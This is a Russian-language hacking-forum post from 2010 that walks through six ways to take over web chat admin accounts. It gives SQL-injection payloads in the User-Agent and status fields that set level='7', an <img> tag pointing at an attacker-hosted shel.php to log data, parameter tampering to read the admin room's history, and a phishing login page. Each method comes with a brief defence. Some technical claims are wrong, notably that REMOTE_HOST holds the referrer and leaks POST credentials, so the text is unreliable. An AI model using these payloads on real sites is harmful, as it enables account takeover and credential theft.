Чаты Некоторые способы взлома вебчата.

Discussion in 'Веб-уязвимости' started by DiamonD21, 18 Feb 2010.

  1. DiamonD21

    DiamonD21 Member

    Joined:
    15 Feb 2010
    Messages:
    14
    Likes Received:
    14
    Reputations:
    0
    Сейчас расскажу вам о нескольких способах,с помощью которых можно взломать чат.

    1) Способ. Этот способ очень старый и почьти везде на всех скриптах чата уже исправлен. Но всё-же я ещё инногда встречаю данную уязвимость.
    Заключается он в следуещем: когда вы заходите в чат то скрипт записывает в базу данных информацию о вашем браузере (имя) и IP, чтоб потом в если вы или кто-то другой зайдёт под другим браузером сообщить вам (пользывателю) о том что последний раз использывался другой браузер и что возможно кто-то другой а не вы заходили под этим ником.
    Так вот вам необходимо изменить имя своего браузера (если это комп то можно изменить имя с помощью программы AdMunch) , чтоб имя это соответствывало так называемой SQL иньекции суть иньекции заключается в том чтоб в имени присутствывала запись изменяющяя другое поле в ДБ кроме того поля в которое пишется информация о вашем браузере. Не буду вдоваться в стандарты запросов SQL и скажу сразу что нужно изменить имя вот на такое: без скобок( name_brauzer‘, level=‘7)
    При измении имени браузера на такое произойдёт SQL иньекция (то есть в столбец level запишиться новый ваш *уровень* = 7 который за частую отвечает за ваш ранг* в чате 7 уровень соответствует рангу админа. ТО есть если есть такая уязвимость вы станете админом в чате.
    Для зашиты от такого действия необходимо в начале каждого скрипта в чате профильтровать переменую $HTTP_USER_AGENT на вот этот символ ‘ (верхняя одинарная ковычька *апостафор*) его либо удалить либо экранирывать обратным слешем но лучше вообще удалить.
    Я советую в файле конфигурации inс.php (который подключают к себе все скрипты) в самом начале написать вот такую строчьку $GLOBALS["HTTP_USER_AGENT"] = str_replace("‘","",$GLOBALS["HTTP_USER_AGENT"]);



    2) Способ. Данный способ основан на первом за исключением того что SQL проводиться не через имя браузера а через другую любую переменую которая записывается в БД. К примеру я очень часто встречал такую уязвимость в имени статуса пользывателя и если себе поставить вот такой статус: без скобок(statys‘, level=‘7) то если есть уязвимость станете админом так-же это правило касается и остальных полей которые записываются в БД к примеру каждое поле в анкете, в настройках чата,.. гипотетичесмки подверженно этой уязвимости.
    Для защиты необходимо так-же профильтровать каждую переменую которая пишеться в ДБ. Пример: $peremenaya = str_replace("‘","",$peremenaya);



    3) Способ. Снифер его реализация основана на принципе украсть пароль у пользывателя (в нашем случае это админ чата)
    По стандартам всех браузеров, браузер пользывателя должен сообщять скрипту информацию о том на какой странице он находился до песещения текущей страницы интернета. В PHP эта переменая называется $_SERVER[‘REMOTE_HOST‘];
    Для того чтоб воспользываться подобным способом нужно иметь свой сайт с спецальным скриптом который сожранит эту информацию и потом вы её сможете просмотреть. И самое главное нужно пользывателя (админа) заставить перейти по ссылке с чата на вашу страничьку которая сохранит информацию о том где находился до этого пользыватель (админ) по мимо место нахождения пользывателя (админа) будет так-же записанна информация о всех переменных $_POST; которые были у него на той стринчьке вкоторых соответственно будут еказаны переменные $id и $pass, к примеру очень удобно написать сылку на такай скрипт в анкете в графе *ваш сайт* ну либо если возможно писать ссылки в чате то просто написать ссылку в комнате ... либо ещё где либо.
    Для защиты подобного необходимо либо убрать возможность у пользывателей чата писать произвольные ссылке где либо .. либо создать страничьку промежуточьной переадресации (чтоб пользыватель сначала перешол на страничьку без переменных id и pass а потом уже на ту страничьку куда необходимо) к примеру у меня на сайте реализован данный способ.


    4) Способ. Основанн на 3 способе только с небольшим отличием: необходимо вставить ссылку на какой либо php скрипт в *тело* самой страницы
    Реализовать подобное чаще всего можно через переменую $nastr (настроение) то есть вы за место какого либо настроения пишите тег изображения <img src="httр://my-site.ru/shel.php" alt="=)"/> а скрипт по этому адресу выдаёт к примеру изображение всем известного смайлика *улыбочька* и заодно записывает $_SERVER[‘REMOTE_HOST‘]; куда нить, к примеру в текстовый файл.
    Посмотреть на структуру подобного скрипта можно вот сдесь http://vetal13.ru/files/file.php?num=7&id_file=1411 (только для ознакомления)
    Для защиты от подобного необходимо профильтроват все переменные которые выводятся потом на страницу в виде текста от тегов. Делать это лучше всего вот так $peremenaya = htmlspecialchars($peremenaya); тем самым вы превратите все теги в обычный текст.


    5) Способ. Чтение админки. Этот способ нельзя назвать взломом, но всё-же опишу его суть. В каждом чате есть спецальная комната для мод состава в которую обычьный пользыватель не может попасть, но есть одна маленькая хитрасть чаще всего это ограничение стоит в скрипте chat.php но вот в скрипте history.php такого ограничения НЕТ ! ТО есть вам необходимо зайти в историю в какой нить комнате зделать закладку на текущию страницу, подредактирывать закладку. Подредактирывать в закладке нужно следующие: найти в ней вот такие символы ...&rm=0... и изменить эти символы вот на такие .....&rm=8..... цыфра 8 означает номер комнаты (обычьно админка идёт под номером 8, но если это не так то изменити эту цыфру на номер который пренадлежит админке) и перейдите по подредактирыванной ссылке и вы попадёте в историю админки где и сможете прочесть все сообщения которые были там написанны.
    Для защиты от подобного необходимо в скрипте histiry.php поставить ограничение для пользываителей на чтение админки.



    6) Способ. Фрейк. Этот вариант так-же нельзя считать взломом но всё-же... Основан он на том чтоб обмануть пользывателя. Тоесть злоумышленник создаёт страничьку у себя на сайте внешне полностью похожею на страничьку входа в ваш чат. И записывает всю информацию которую кто-либо вводил.
    Защиты от подобного как таковой не существует, главное смотреть на каком сайте вы находитесь.
    если знаете еще способы пишите мне в ICQ 71056158
     
    #1 DiamonD21, 18 Feb 2010
    Last edited: 28 Feb 2010
    5 people like this.